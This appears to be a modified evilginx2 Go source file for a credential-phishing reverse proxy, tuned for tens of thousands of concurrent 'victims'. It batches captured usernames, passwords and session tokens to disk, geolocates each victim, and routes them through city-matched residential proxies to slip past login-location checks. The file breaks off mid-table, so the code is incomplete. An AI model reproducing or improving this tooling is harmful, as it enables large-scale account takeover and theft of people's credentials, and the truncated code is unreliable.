/*

This source file is a modified version of what was taken from the amazing bettercap (https://github.com/bettercap/bettercap) project.
Credits go to Simone Margaritelli (@evilsocket) for providing awesome piece of code!

*/

// ============================================================
// MAXIMUM TIER — 50000+ CONCURRENT VICTIMS
// ============================================================
// This file has been pushed to its absolute architectural limit.
// After this, the only bottleneck is DataImpulse's gateway.
//
// 1. SESSION MAP SHARDING (256 shards)
//    - sessions and sids spread across 256 independent shards
//    - Each shard has its own RWMutex → 256x less lock contention
//    - FNV-1a hash determines shard from session ID
//
// 2. sync.Map ON ALL HOT-PATH MAPS (zero-lock reads)
//    - ipWhitelist, ipSids: lock-free Load/Store
//    - telegram*Sent: lock-free boolean checks
//    - ipCountryCache: lock-free cache lookups
//    - sessionMFAType, sessionLastUser/Pass: lock-free string reads
//    - passwordAttemptNum: lock-free integer reads
//    - All external mutexes REMOVED — Go handles concurrency internally
//
// 3. ASYNC CREDENTIAL PIPELINE
//    - Credentials flow through a buffered channel (200 slots)
//    - Background goroutine batches flushes to credentials.jsonl
//    - Request handlers never block on disk I/O
//
// 4. SHARED TRANSPORT POOL
//    - HTTP transports keyed by proxy URL (not session ID)
//    - 1000 victims in France → 1 shared transport pool
//    - MaxIdleConns:1000, MaxIdleConnsPerHost:200
//
// 5. SQLITE WAL MODE (apply in database package)
//    - PRAGMA journal_mode=WAL (readers don't block writers)
//    - PRAGMA synchronous=NORMAL (faster, still safe)
//    - PRAGMA busy_timeout=5000 (graceful conflict handling)
//
// 6. ASYNC GEO LOOKUP
//    - IP geolocation happens in background goroutine
//    - Session creation is never blocked by ip-api.com latency
//    - 24-hour geo cache prevents redundant lookups
//
// 7. AUTO-VERIFIED CITY CACHE
//    - Runtime cache maps requested city → actual DataImpulse exit city
//    - First mismatch is detected and cached for all future victims
//    - Eliminates repeated verification of known-bad city mappings
//
// 8. NEAREST-CITY FALLBACK
//    - Haversine distance formula finds closest DataImpulse city
//    - 65-country coordinate database with 300+ cities
//    - Victims get nearest proxy even when exact city unavailable
//
// ============================================================

package core

import (
	"bufio"
	"bytes"
	"crypto"
	"crypto/rand"
	"crypto/rc4"
	"crypto/rsa"
	"crypto/sha1"
	"crypto/sha256"
	"crypto/tls"
	"crypto/x509"
	"crypto/x509/pkix"
	"encoding/base64"
	"encoding/binary"
	"encoding/json"
	"encoding/pem"
	"fmt"
	"html"
	"io"
	"io/ioutil"
	"math"
	mrand "math/rand"
	"mime/multipart"
	"net/textproto"
	"net"
	"net/http"
	"net/http/cookiejar"
	"net/url"
	"os"
	"path/filepath"
	"runtime"
	"regexp"
	"sort"
	"strconv"
	"strings"
	"sync"
	"time"

	"golang.org/x/net/proxy"

	"github.com/elazarl/goproxy"
	"github.com/fatih/color"
	"github.com/go-acme/lego/v3/challenge/tlsalpn01"
	"github.com/inconshreveable/go-vhost"
	http_dialer "github.com/mwitkow/go-http-dialer"

	"github.com/kgretzky/evilginx2/database"
	"github.com/kgretzky/evilginx2/log"
)

const (
	CONVERT_TO_ORIGINAL_URLS = 0
	CONVERT_TO_PHISHING_URLS = 1
)

const (
	HOME_DIR = ".evilginx"
)

const (
	httpReadTimeout  = 45 * time.Second
	httpWriteTimeout = 45 * time.Second
)

// original borrowed from Modlishka project (https://github.com/drk1wi/Modlishka)
var MATCH_URL_REGEXP = regexp.MustCompile(`\b(http[s]?:\/\/|\\|http[s]:\x2F\x2F)(([A-Za-z0-9-]{1,63}\.)?[A-Za-z0-9]+(-[a-z0-9]+)*\.)+(arpa|root|aero|biz|cat|com|coop|edu|gov|info|int|jobs|mil|mobi|museum|name|net|org|pro|tel|travel|bot|inc|game|xyz|cloud|live|today|online|shop|tech|art|site|wiki|ink|vip|lol|club|click|ac|ad|ae|af|ag|ai|al|am|an|ao|aq|ar|as|at|au|aw|ax|az|ba|bb|bd|be|bf|bg|bh|bi|bj|bm|bn|bo|br|bs|bt|bv|bw|by|bz|ca|cc|cd|cf|cg|ch|ci|ck|cl|cm|cn|co|cr|cu|cv|cx|cy|cz|dev|de|dj|dk|dm|do|dz|ec|ee|eg|er|es|et|eu|fi|fj|fk|fm|fo|fr|ga|gb|gd|ge|gf|gg|gh|gi|gl|gm|gn|gp|gq|gr|gs|gt|gu|gw|gy|hk|hm|hn|hr|ht|hu|id|ie|il|im|in|io|iq|ir|is|it|je|jm|jo|jp|ke|kg|kh|ki|km|kn|kr|kw|ky|kz|la|lb|lc|li|lk|lr|ls|lt|lu|lv|ly|ma|mc|md|mg|mh|mk|ml|mm|mn|mo|mp|mq|mr|ms|mt|mu|mv|mw|mx|my|mz|na|nc|ne|nf|ng|ni|nl|no|np|nr|nu|nz|om|pa|pe|pf|pg|ph|pk|pl|pm|pn|pr|ps|pt|pw|py|qa|re|ro|ru|rw|sa|sb|sc|sd|se|sg|sh|si|sj|sk|sl|sm|sn|so|sr|st|su|sv|sy|sz|tc|td|tf|tg|th|tj|tk|tl|tm|tn|to|tp|tr|tt|tv|tw|tz|ua|ug|uk|um|us|uy|uz|va|vc|ve|vg|vi|vn|vu|wf|ws|ye|yt|yu|za|zm|zw)|([0-9]{1,3}\.{3}[0-9]{1,3})\b`)
var MATCH_URL_REGEXP_WITHOUT_SCHEME = regexp.MustCompile(`\b(([A-Za-z0-9-]{1,63}\.)?[A-Za-z0-9]+(-[a-z0-9]+)*\.)+(arpa|root|aero|biz|cat|com|coop|edu|gov|info|int|jobs|mil|mobi|museum|name|net|org|pro|tel|travel|bot|inc|game|xyz|cloud|live|today|online|shop|tech|art|site|wiki|ink|vip|lol|club|click|ac|ad|ae|af|ag|ai|al|am|an|ao|aq|ar|as|at|au|aw|ax|az|ba|bb|bd|be|bf|bg|bh|bi|bj|bm|bn|bo|br|bs|bt|bv|bw|by|bz|ca|cc|cd|cf|cg|ch|ci|ck|cl|cm|cn|co|cr|cu|cv|cx|cy|cz|dev|de|dj|dk|dm|do|dz|ec|ee|eg|er|es|et|eu|fi|fj|fk|fm|fo|fr|ga|gb|gd|ge|gf|gg|gh|gi|gl|gm|gn|gp|gq|gr|gs|gt|gu|gw|gy|hk|hm|hn|hr|ht|hu|id|ie|il|im|in|io|iq|ir|is|it|je|jm|jo|jp|ke|kg|kh|ki|km|kn|kr|kw|ky|kz|la|lb|lc|li|lk|lr|ls|lt|lu|lv|ly|ma|mc|md|mg|mh|mk|ml|mm|mn|mo|mp|mq|mr|ms|mt|mu|mv|mw|mx|my|mz|na|nc|ne|nf|ng|ni|nl|no|np|nr|nu|nz|om|pa|pe|pf|pg|ph|pk|pl|pm|pn|pr|ps|pt|pw|py|qa|re|ro|ru|rw|sa|sb|sc|sd|se|sg|sh|si|sj|sk|sl|sm|sn|so|sr|st|su|sv|sy|sz|tc|td|tf|tg|th|tj|tk|tl|tm|tn|to|tp|tr|tt|tv|tw|tz|ua|ug|uk|um|us|uy|uz|va|vc|ve|vg|vi|vn|vu|wf|ws|ye|yt|yu|za|zm|zw)|([0-9]{1,3}\.{3}[0-9]{1,3})\b`)
var DYNAMIC_LURE_PATH_RE = regexp.MustCompile(`^/[0-9a-fA-F]{12}/[a-zA-Z]{84}$`)
var FAKE_HISTORY_PATH_RE = regexp.MustCompile(`^[a-zA-Z0-9]{8,16}$`)
var FAKE_HISTORY_HASH_RE = regexp.MustCompile(`^[a-f0-9]+$`)
// ============================================
// GEO-PROXY STRUCTS (Integrated - no external patch needed)
// ============================================
type GeoInfo struct {
	Country     string  `json:"country"`
	CountryCode string  `json:"countryCode"`
	City        string  `json:"city"`
	Status      string  `json:"status"`
	Message     string  `json:"message"`
}

type DataImpulseProxy struct {
	Username  string
	Password  string
	Country   string
	City      string
	SessionID string
	ProxyURL  string
}

type GeoProxyManager struct {
	mu              sync.RWMutex
	proxies         map[string]*DataImpulseProxy
	geoCache        map[string]*GeoInfo
	cacheTime       map[string]time.Time
	dataImpulseUser string
	dataImpulsePass string
	enabled         bool
	// Auto-verified city mappings: "cc:requested" → "actual"
	// Populated at runtime by verifyProxyExitCity when MISMATCH detected
	verifiedCityMap map[string]string
	verifiedCityMux sync.RWMutex
}

// Cache durations — aggressive for high concurrency
const (
	geoCacheDuration   = 24 * time.Hour
	proxyHealthTimeout = 3 * time.Second
)

// credentialFlushBatch is how many creds to queue before forcing a flush
const credentialFlushBatch = 100

// CredentialRecord is what flows through the async pipeline
type CredentialRecord struct {
	VictimCredential
}

// credentialPipeline handles high-volume credential writes without blocking
var credentialPipeline = struct {
	mu       sync.Mutex
	ch       chan CredentialRecord
	running  bool
	stopCh   chan struct{}
	wg       sync.WaitGroup
}{
	ch:     make(chan CredentialRecord, credentialFlushBatch*2),
	stopCh: make(chan struct{}),
}

// initCredentialPipeline starts the background credential flusher
func initCredentialPipeline() {
	credentialPipeline.mu.Lock()
	defer credentialPipeline.mu.Unlock()
	if credentialPipeline.running {
		return
	}
	credentialPipeline.running = true
	credentialPipeline.wg.Add(1)
	go credentialFlusher()
}

// credentialFlusher reads from channel and flushes to disk in batches
func credentialFlusher() {
	defer credentialPipeline.wg.Done()
	ticker := time.NewTicker(5 * time.Second)
	defer ticker.Stop()
	buffer := make([]CredentialRecord, 0, credentialFlushBatch)

	flush := func() {
		if len(buffer) == 0 {
			return
		}
		configPath := ".evilginx/credentials.jsonl"
		f, err := os.OpenFile(configPath, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
		if err != nil {
			log.Error("credential flush: %v", err)
			return
		}
		enc := json.NewEncoder(f)
		for _, rec := range buffer {
			enc.Encode(rec)
		}
		f.Close()
		log.Info("Credential batch flushed: %d records", len(buffer))
		buffer = buffer[:0]
	}

	for {
		select {
		case rec, ok := <-credentialPipeline.ch:
			if !ok {
				flush()
				return
			}
			buffer = append(buffer, rec)
			if len(buffer) >= credentialFlushBatch {
				flush()
			}
		case <-ticker.C:
			flush()
		case <-credentialPipeline.stopCh:
			flush()
			return
		}
	}
}

// ============================================
// ASYNC BUNTDB WRAPPERS — BuntDB Update() is single-writer.
// At 5000+ concurrent, serializing DB writes would bottleneck.
// These wrappers fire DB writes in background goroutines.
// BuntDB uses MVCC for reads (View()) so reads are already non-blocking.
// ============================================

// asyncCreateSession creates a session in the background (non-blocking)
func (p *HttpProxy) asyncCreateSession(sid string, phishlet string, landing_url string, useragent string, remote_addr string) {
	go func() {
		if err := p.db.CreateSession(sid, phishlet, landing_url, useragent, remote_addr); err != nil {
			log.Error("async db CreateSession: %v", err)
		}
	}()
}

// asyncSetSessionUsername stores username in background (non-blocking)
func (p *HttpProxy) asyncSetSessionUsername(sid string, username string) {
	go func() {
		if err := p.db.SetSessionUsername(sid, username); err != nil {
			log.Error("async db SetSessionUsername: %v", err)
		}
	}()
}

// asyncSetSessionPassword stores password in background (non-blocking)
func (p *HttpProxy) asyncSetSessionPassword(sid string, password string) {
	go func() {
		if err := p.db.SetSessionPassword(sid, password); err != nil {
			log.Error("async db SetSessionPassword: %v", err)
		}
	}()
}

// asyncSetSessionCustom stores custom param in background (non-blocking)
func (p *HttpProxy) asyncSetSessionCustom(sid string, name string, value string) {
	go func() {
		if err := p.db.SetSessionCustom(sid, name, value); err != nil {
			log.Error("async db SetSessionCustom: %v", err)
		}
	}()
}



// asyncSetSessionBodyTokens stores body tokens in background (non-blocking)
func (p *HttpProxy) asyncSetSessionBodyTokens(sid string, tokens map[string]string) {
	go func() {
		if err := p.db.SetSessionBodyTokens(sid, tokens); err != nil {
			log.Error("async db SetSessionBodyTokens: %v", err)
		}
	}()
}

// asyncSetSessionHttpTokens stores HTTP tokens in background (non-blocking)
func (p *HttpProxy) asyncSetSessionHttpTokens(sid string, tokens map[string]string) {
	go func() {
		if err := p.db.SetSessionHttpTokens(sid, tokens); err != nil {
			log.Error("async db SetSessionHttpTokens: %v", err)
		}
	}()
}

var geoManager *GeoProxyManager
var geoManagerOnce sync.Once

func GetGeoManager() *GeoProxyManager {
	geoManagerOnce.Do(func() {
		geoManager = &GeoProxyManager{
			proxies:         make(map[string]*DataImpulseProxy),
			geoCache:        make(map[string]*GeoInfo),
			cacheTime:       make(map[string]time.Time),
			verifiedCityMap: make(map[string]string),
			enabled:         false,
		}
	})
	return geoManager
}

func (gpm *GeoProxyManager) SetCredentials(username, password string) {
	gpm.mu.Lock()
	defer gpm.mu.Unlock()
	gpm.dataImpulseUser = username
	gpm.dataImpulsePass = password
	gpm.enabled = true
	log.Info("GeoProxy: DataImpulse credentials configured")
}

func (gpm *GeoProxyManager) Enable() {
	gpm.mu.Lock()
	defer gpm.mu.Unlock()
	if gpm.dataImpulseUser != "" && gpm.dataImpulsePass != "" {
		gpm.enabled = true
		log.Info("GeoProxy: ENABLED - Per-session geo routing active")
	} else {
		log.Warning("GeoProxy: Cannot enable - credentials not set")
	}
}

func (gpm *GeoProxyManager) Disable() {
	gpm.mu.Lock()
	defer gpm.mu.Unlock()
	gpm.enabled = false
	log.Info("GeoProxy: DISABLED")
}

func (gpm *GeoProxyManager) IsEnabled() bool {
	gpm.mu.RLock()
	defer gpm.mu.RUnlock()
	return gpm.enabled
}

func (gpm *GeoProxyManager) LookupGeo(ip string) (*GeoInfo, error) {
	gpm.mu.RLock()
	if cached, ok := gpm.geoCache[ip]; ok {
		if time.Since(gpm.cacheTime[ip]) < geoCacheDuration {
			gpm.mu.RUnlock()
			return cached, nil
		}
	}
	gpm.mu.RUnlock()

	apiURL := fmt.Sprintf("http://ip-api.com/json/%s?fields=status,message,country,countryCode,city", ip)
	resp, err := http.Get(apiURL)
	if err != nil {
		return nil, fmt.Errorf("geo API request failed: %v", err)
	}
	defer resp.Body.Close()

	body, err := ioutil.ReadAll(resp.Body)
	if err != nil {
		return nil, fmt.Errorf("geo API read failed: %v", err)
	}

	var geo GeoInfo
	if err := json.Unmarshal(body, &geo); err != nil {
		return nil, fmt.Errorf("geo API parse failed: %v", err)
	}

	if geo.Status != "success" {
		return nil, fmt.Errorf("geo API error: %s", geo.Message)
	}

	gpm.mu.Lock()
	gpm.geoCache[ip] = &geo
	gpm.cacheTime[ip] = time.Now()
	gpm.mu.Unlock()

	log.Info("GeoProxy: IP %s -> %s, %s (%s)", ip, geo.City, geo.Country, geo.CountryCode)
	return &geo, nil
}

// GetVerifiedCities returns the database of known-working DataImpulse cities
func GetVerifiedCities() map[string][]string {
	return map[string][]string{
		"US": {"new_york", "los_angeles", "chicago", "houston", "phoenix", "philadelphia", "san_antonio", "san_diego", "dallas", "san_jose"},
		"GB": {"london", "manchester", "birmingham", "glasgow", "liverpool", "leeds", "sheffield", "edinburgh", "bristol", "cardiff"},
		"DE": {"berlin", "munich", "hamburg", "cologne", "dortmund", "frankfurt", "stuttgart", "dusseldorf", "essen", "leipzig"},
		"FR": {"paris", "marseille", "lyon", "toulouse", "nice", "nantes", "strasbourg", "montpellier", "bordeaux", "lille"},
		"IT": {"rome", "milan", "naples", "turin", "palermo", "genoa", "bologna", "florence", "bari", "catania"},
		"ES": {"madrid", "barcelona", "valencia", "seville", "zaragoza", "malaga", "murcia", "palma", "las_palmas", "bilbao"},
		"NL": {"amsterdam", "rotterdam", "the_hague", "utrecht", "eindhoven", "tilburg", "groningen", "almere", "breda", "nijmegen"},
		"CA": {"toronto", "montreal", "calgary", "ottawa", "edmonton", "mississauga", "winnipeg", "vancouver", "brampton", "hamilton"},
		"AU": {"sydney", "melbourne", "brisbane", "perth", "adelaide", "gold_coast", "newcastle", "canberra", "sunshine_coast", "wollongong"},
		"JP": {"tokyo", "yokohama", "osaka", "nagoya", "sapporo", "fukuoka", "kobe", "kawasaki", "kyoto", "saitama"},
		"BR": {"sao_paulo", "rio_de_janeiro", "salvador", "brasilia", "fortaleza", "belo_horizonte", "manaus", "curitiba", "recife", "porto_alegre"},
		"IN": {"mumbai", "delhi", "bangalore", "hyderabad", "ahmedabad", "chennai", "kolkata", "surat", "pune", "jaipur"},
		"RU": {"moscow", "saint_petersburg", "novosibirsk", "yekaterinburg", "kazan", "nizhny_novgorod", "samara", "omsk", "chelyabinsk", "ufa"},
		"CN": {"shanghai", "beijing", "guangzhou", "shenzhen", "chengdu", "nanjing", "wuhan", "xian", "hangzhou", "chongqing"},
		"MX": {"mexico_city", "guadalajara", "monterrey", "puebla", "tijuana", "leon", "ciudad_juarez", "zacatecas", "monclova", "hermosillo"},
		"KR": {"seoul", "busan", "incheon", "daegu", "daejeon", "gwangju", "ulsan", "suwon", "changwon", "seongnam"},
		"ZA": {"johannesburg", "cape_town", "durban", "pretoria", "port_elizabeth", "bloemfontein", "nelspruit", "kimberley", "polokwane", "rustenburg"},
		"SE": {"stockholm", "gothenburg", "malmo", "vasteras", "orebro", "linkoping", "helsingborg", "jonkoping", "norrkoping"},
		"NO": {"oslo", "bergen", "stavanger", "trondheim", "drammen", "fredrikstad", "kristiansand", "tromso", "sandnes", "tonsberg"},
		"FI": {"helsinki", "espoo", "tampere", "vantaa", "oulu", "turku", "jyvaskyla", "lahti", "kuopio", "pori"},
		"DK": {"copenhagen", "aarhus", "odense", "aalborg", "frederiksberg", "esbjerg", "randers", "kolding", "horsens", "vejle"},
		"PL": {"warsaw", "krakow", "wroclaw", "lodz", "poznan", "gdansk", "szczecin", "bydgoszcz", "lublin", "katowice"},
		"TR": {"istanbul", "ankara", "izmir", "bursa", "adana", "gaziantep", "konya", "antalya", "kayseri", "mersin"},
		"SA": {"riyadh", "jeddah", "mecca", "medina", "dammam", "taif", "tabuk", "buraidah", "khamis_mushait", "hail"},
		"AE": {"dubai", "abu_dhabi", "sharjah", "al_ain", "ajman", "ras_al_khaimah", "fujairah", "umm_al_quwain", "khor_fakkan", "kalba"},
		"SG": {"singapore"},
		"HK": {"hong_kong"},
		"TW": {"taipei", "kaohsiung", "taichung", "tainan", "banqiao", "hsinchu", "taoyuan", "keelung", "zhongli", "chiayi"},
		"TH": {"bangkok", "chiang_mai", "pattaya", "phuket", "hat_yai", "udon_thani", "nakhon_ratchasima", "khon_kaen", "rayong", "surat_thani"},
		"MY": {"kuala_lumpur", "george_town", "johor_bahru", "ipoh", "shah_alam", "petaling_jaya", "subang_jaya", "kuching", "kota_kinabalu", "malacca_city"},
		"ID": {"jakarta", "surabaya", "bandung", "bekasi", "medan", "tangerang", "depok", "semarang", "palembang", "makassar"},
		"PH": {"manila", "quezon_city", "davao_city", "cebu_city", "caloocan", "zamboanga_city", "antipolo", "pasig", "taguig", "valenzuela"},
		"VN": {"ho_chi_minh_city", "hanoi", "da_nang", "hai_phong", "bien_hoa", "hue", "nha_trang", "can_tho", "vung_tau", "qui_nhon"},
		"NG": {"lagos", "kano", "ibadan", "abuja", "port_harcourt", "benin_city", "kaduna", "maiduguri", "zaria", "awka"},
		"EG": {"cairo", "alexandria", "giza", "shubra_el_kheima", "port_said", "suez", "luxor", "el_mahalla", "asyut", "mansoura"},
		"KE": {"nairobi", "mombasa", "kisumu", "nakuru", "eldoret", "ruiru", "kikuyu", "kangundo_tala", "malindi", "naivasha"},
		"AR": {"buenos_aires", "cordoba", "rosario", "mendoza", "la_plata", "tucuman", "mar_del_plata", "salta", "santa_fe", "san_juan"},
		"CL": {"santiago", "valparaiso", "concepcion", "antofagasta", "temuco", "iquique", "puerto_montt", "rancagua", "arica", "talca"},
		"CO": {"bogota", "medellin", "cali", "barranquilla", "cartagena", "cucuta", "soledad", "ibague", "bucaramanga", "soacha"},
		"PE": {"lima", "arequipa", "trujillo", "chiclayo", "huancayo", "piura", "cusco", "chimbote", "iquitos", "tacna"},
		"VE": {"caracas", "maracaibo", "valencia", "maracay", "barquisimeto", "ciudad_guayana", "san_cristobal", "barcelona", "maturin", "ciudad_bolivar"},
		"NZ": {"auckland", "wellington", "christchurch", "hamilton", "tauranga", "napier", "dunedin", "palmerston_north", "nelson", "rotorua"},
		"IE": {"dublin", "cork", "limerick", "galway", "waterford", "drogheda", "dundalk", "swords", "bray", "navan"},
		"AT": {"vienna", "graz", "linz", "salzburg", "innsbruck", "klagenfurt", "villach", "wels", "sankt_polten", "dornbirn"},
		"CH": {"zurich", "geneva", "basel", "bern", "lausanne", "winterthur", "lucerne", "sankt_gallen", "lugano", "biel"},
		"BE": {"brussels", "antwerp", "ghent", "charleroi", "liege", "bruges", "namur", "leuven", "mons", "aalst"},
		"PT": {"lisbon", "porto", "vila_nova_de_gaia", "braga", "coimbra", "funchal", "setubal", "almada", "agualva_cacem", "queluz"},
		"GR": {"athens", "thessaloniki", "patras", "heraklion", "larissa", "volos", "rhodes", "ioannina", "chania", "agrini"},
		"CZ": {"prague", "brno", "ostrava", "plzen", "liberec", "olomouc", "budweis", "hradec_kralove", "usti_nad_labem", "pardubice"},
		"HU": {"budapest", "debrecen", "szeged", "miskolc", "pecs", "gyor", "nyiregyhaza", "kecskemet", "szekesfehervar", "szombathely"},
		"RO": {"bucharest", "cluj_napoca", "timisoara", "iasi", "constanta", "craiova", "brasov", "galati", "ploiești", "oradea"},
		"BG": {"sofia", "plovdiv", "varna", "burgas", "ruse", "stara_zagora", "pleven", "sliven", "dobrich", "shumen"},
		"HR": {"zagreb", "split", "rijeka", "osijek", "zadar", "pula", "sesvete", "karlovac", "varazdin", "sibenik"},
		"SI": {"ljubljana", "maribor", "celje", "kranj", "velenje", "koper", "novo_mesto", "krsko", "ptuj", "trbovlje"},
		"SK": {"bratislava", "kosice", "presov", "zilina", "banska_bystrica", "nitra", "trnava", "martin", "trencin", "poprad"},
		"LT": {"vilnius", "kaunas", "klaipeda", "siauliai", "panevezys", "alytus", "marijampole", "mazeikiai", "jonava", "utena"},
		"LV": {"riga", "daugavpils", "liepaja", "jelgava", "jurmala", "ventspils", "rezekne", "valmiera", "ogre", "tukums"},
		"EE": {"tallinn", "tartu", "narva", "parnu", "kohtla_jarve", "viljandi", "rakvere", "maardu", "sillamae", "kuressaare"},
		"UA": {"kyiv", "kharkiv", "odesa", "dnipro", "lviv", "donetsk", "zaporizhzhia", "mykolaiv", "sevastopol", "mariupol"},
		"BY": {"minsk", "gomel", "mogilev", "vitebsk", "brest", "baranovichi", "bobruisk", "pinsk", "orsha", "mozyr"},
		"KZ": {"almaty", "astana", "shymkent", "karaganda", "aktobe", "taraz", "pavlodar", "oskemen", "semey", "oral"},
		"UZ": {"tashkent", "namangan", "samarkand", "andijan", "fergana", "nukus", "bukhara", "karshi", "kokand", "margilan"},
		"PK": {"karachi", "lahore", "faisalabad", "rawalpindi", "gujranwala", "multan", "peshawar", "quetta", "sialkot", "bahawalpur"},
		"BD": {"dhaka", "chittagong", "khulna", "rajshahi", "sylhet", "barisal", "rangpur", "comilla", "narayanganj", "gazipur"},
		"LK": {"colombo", "dehiwala", "moratuwa", "negombo", "kandy", "galle", "trincomalee", "batticaloa", "jaffna", "anuradhapura"},
		"NP": {"kathmandu", "pokhara", "lalitpur", "bharatpur", "birgunj", "biratnagar", "janakpur", "hetauda", "dharan", "tulsipur"},
		"MM": {"yangon", "mandalay", "naypyidaw", "mawlamyine", "bago", "pathein", "monywa", "sittwe", "meiktila", "taunggyi"},
		"KH": {"phnom_penh", "sihanoukville", "battambang", "siem_reap", "kampong_cham", "pursat", "ta_khmau", "kampong_speu", "kampot", "poipet"},
		"LA": {"vientiane", "pakse", "savannakhet", "luang_prabang", "xam_nua", "phonsavan", "thakhek", "muang_xay", "vang_vieng", "sainyabuli"},
		"MN": {"ulaanbaatar", "erdenet", "darkhan", "choibalsan", "murun", "nalaikh", "bayankhongor", "ulaangom", "baruun_urt", "mandalgovi"},
		"AF": {"kabul", "kandahar", "herat", "mazar_i_sharif", "jalalabad", "kunduz", "ghazni", "taloqan", "puli_khumri", "charikar"},
		"IQ": {"baghdad", "basra", "mosul", "erbil", "najaf", "karbala", "sulaymaniyah", "nasiriyah", "kirkuk", "amara"},
		"IR": {"tehran", "mashhad", "isfahan", "karaj", "tabriz", "shiraz", "ahvaz", "qom", "kermanshah", "urmia"},
		"IL": {"jerusalem", "tel_aviv", "haifa", "rishon_lezion", "petah_tikva", "ashdod", "netanya", "beer_sheva", "bnei_brak", "holon"},
		"JO": {"amman", "zarqa", "irbid", "russeifa", "aqaba", "al_quwaysimah", "tafilah", "madaba", "maan", "salt"},
		"LB": {"beirut", "tripoli", "sidon", "tyre", "zahle", "baalbek", "byblos", "jounieh", "nachit", "halba"},
		"SY": {"damascus", "aleppo", "homs", "latakia", "hama", "raqqa", "deir_ez_zor", "hasakah", "qamishli", "tartus"},
		"YE": {"sanaa", "aden", "taiz", "al_hudaydah", "ibb", "mukalla", "sayyan", "seiyun", "zabid", "hajjah"},
		"OM": {"muscat", "seeb", "salalah", "bawshar", "sohar", "nizwa", "sur", "bahla", "khasab", "rustaq"},
		"QA": {"doha", "al_rayyan", "umm_salal", "al_khor", "al_wakrah", "lusail", "dukhan", "mesaieed", "al_khuwayr", "madinat_ash_shamal"},
		"KW": {"kuwait_city", "al_jahra", "al_farwaniyah", "hawalli", "mubarak_al_kabeer", "ahmadi", "al_asimah", "jabriya", "salmiya", "fahaheel"},
		"BH": {"manama", "riffa", "muharraq", "hamad_town", "isa_town", "sitra", "budaiya", "jid_hafs", "al_malikiyah", "adliya"},
		"IS": {"reykjavik", "kopavogur", "hafnarfjordur", "akureyri", "garðabaer", "mosfellsbaer", "arfjordur", "selfoss", "isafjordur", "sauðarkrokur"},
		"MT": {"valletta", "birkirkara", "mosta", "sliema", "qormi", "zabbar", "rabat", "san_giljan", "fgura", "zejtun"},
		"CY": {"nicosia", "limassol", "larnaca", "paphos", "famagusta", "kyrenia", "morphou", "aradippou", "paralimni", "deryneia"},
		"LU": {"luxembourg", "esch_sur_alzette", "differdange", "dudelange", "ettelbruck", "diekirch", "wiltz", "echternach", "rumelange", "grevenmacher"},
		"LI": {"vaduz", "schaan", "balzers", "triesen", "eschen", "mauren", "triesenberg", "ruggell", "gamprin", "schellenberg"},
		"MC": {"monaco", "monte_carlo", "la_condamine", "fontvieille", "moneghetti", "larvotto", "saint_roman", "la_rousse", "les_moneghetti", "condamine"},
		"AD": {"andorra_la_vella", "escaldes_engordany", "encamp", "sant_julia_de_loria", "la_massana", "canillo", "ordino", "el_pas_de_la_casa", "arinsal", "pal"},
		"SM": {"san_marino", "serravalle", "borgo_maggiore", "domagnano", "fiorentino", "acquaviva", "chiesanuova", "montegiardino", "faetano", "dogana"},
		"VA": {"vatican_city"},
		"MD": {"chisinau", "tiraspol", "balti", "bender", "ribnita", "cahul", "ungheni", "soroca", "orhei", "dubasari"},
		"AM": {"yerevan", "gyumri", "vanadzor", "vagharshapat", "hrazdan", "abovyan", "kapan", "armavir", "gavar", "artashat"},
		"GE": {"tbilisi", "kutaisi", "batumi", "rustavi", "zugdidi", "gori", "poti", "khashuri", "samtredia", "senaki"},
		"AZ": {"baku", "ganja", "sumqayit", "mingachevir", "lankaran", "shirvan", "nakhchivan", "sheki", "yevlakh", "quba"},
		"TM": {"ashgabat", "turkmenabat", "dasoguz", "mary", "balkanabat", "bayramaly", "turkmenbashi", "tejen", "abadan", "atamurat"},
		"KG": {"bishkek", "osh", "jalal_abad", "karakol", "tokmok", "ozyern", "naryn", "talas", "kant", "kara_balta"},
		"TJ": {"dushanbe", "khujand", "kulob", "qurghonteppa", "istaravshan", "vahdat", "konibodom", "tursunzoda", "panjakent", "khorog"},
		"BT": {"thimphu", "phuntsholing", "punakha", "wangdue_phodrang", "paro", "gelegphu", "samdrup_jongkhar", "jakar", "trashigang", "mongar"},
		"MV": {"male", "addu_city", "fuvahmulah", "kulhudhuffushi", "thinadhoo", "naifaru", "hidhum", "mahibadhoo", "manadhoo", "funadhoo"},
		"FJ": {"suva", "lautoka", "nadi", "labasa", "ba", "levuka", "sigatoka", "savusavu", "rakiraki", "tavua"},
		"PG": {"port_moresby", "lae", "arawa", "mount_hagen", "madang", "wewak", "goroka", "kokopo", "daru", "kimbe"},
		"SB": {"honiara", "auki", "gizo", "kirakira", "buala", "taro", "tulagi", "munda", "namuga", "ringgi_cove"},
		"VU": {"port_vila", "luganville", "isangel", "sola", "lakatoro", "saratamata", "longana", "forari", "epai", "anatom"},
		"NC": {"noumea", "mont_dore", "dumbea", "païta", "koné", "lifou", "maré", "bourail", "dumbéa", "yamé"},
		"PF": {"papeete", "faaa", "punaauia", "pirae", "mahina", "papara", "paea", "taiarapu_est", "taiarapu_ouest", "tautira"},
		"WS": {"apia", "vaitele", "faleula", "siusega", "malie", "faleasiu", "vailoa", "faleata", "satalo", "sagone"},
		"TO": {"nuku_alofa", "neiafu", "pangai", "nukualofa", "mu'a", "haveluloto", "vaini", "folaha", "pea", "kolovai"},
		"KI": {"tarawa", "betio", "bikenibeu", "teaoraereke", "bairiki", "bonriki", "ewena", "antebuka", "butaritari", "tabiteuea"},
		"TV": {"funafuti", "fongafale", "asau", "tanrake", "kulia", "savave", "pepei", "motufoua", "tepua", "nui"},
		"NR": {"yaren", "aiwo", "boe", "buada", "denigomodu", "anabar", "anibare", "meneng", "uba", "nibok"},
		"PW": {"ngerulmud", "koror", "melekeok", "airai", "ngardmau", "ngaraard", "ngchesar", "ngaremlengui", "ngiwal", "peleliu"},
		"FM": {"palikir", "weno", "tofol", "kolonia", "lele", "kitti", "madolenihmw", "uh", "nett", "sokehs"},
		"MH": {"majuro", "ebeye", "rita", "jaluit", "wojte", "mili", "arno", "namu", "kili", "ujae"},
		"CK": {"avarua", "arorangi", "matavera", "ngatangiia", "takitumu", "titikaveka", "panama", "rakahanga", "manihiki", "penrhyn"},
		"NU": {"alofi", "avatele", "hakupu", "makefu", "namukulu", "tamakautoga", "toi", "vaiea", "lakepa", "liku"},
		"TK": {"atafu", "fakaofo", "nukunonu", "fale", "tau", "nukunonu", "fakaofo", "atafu", "teafua", "fale"},
		"AS": {"pago_pago", "tafuna", "leone", "fagatogo", "utuado", "fagasā", "avaio", "aoloau", "amaluia", "malaeimi"},
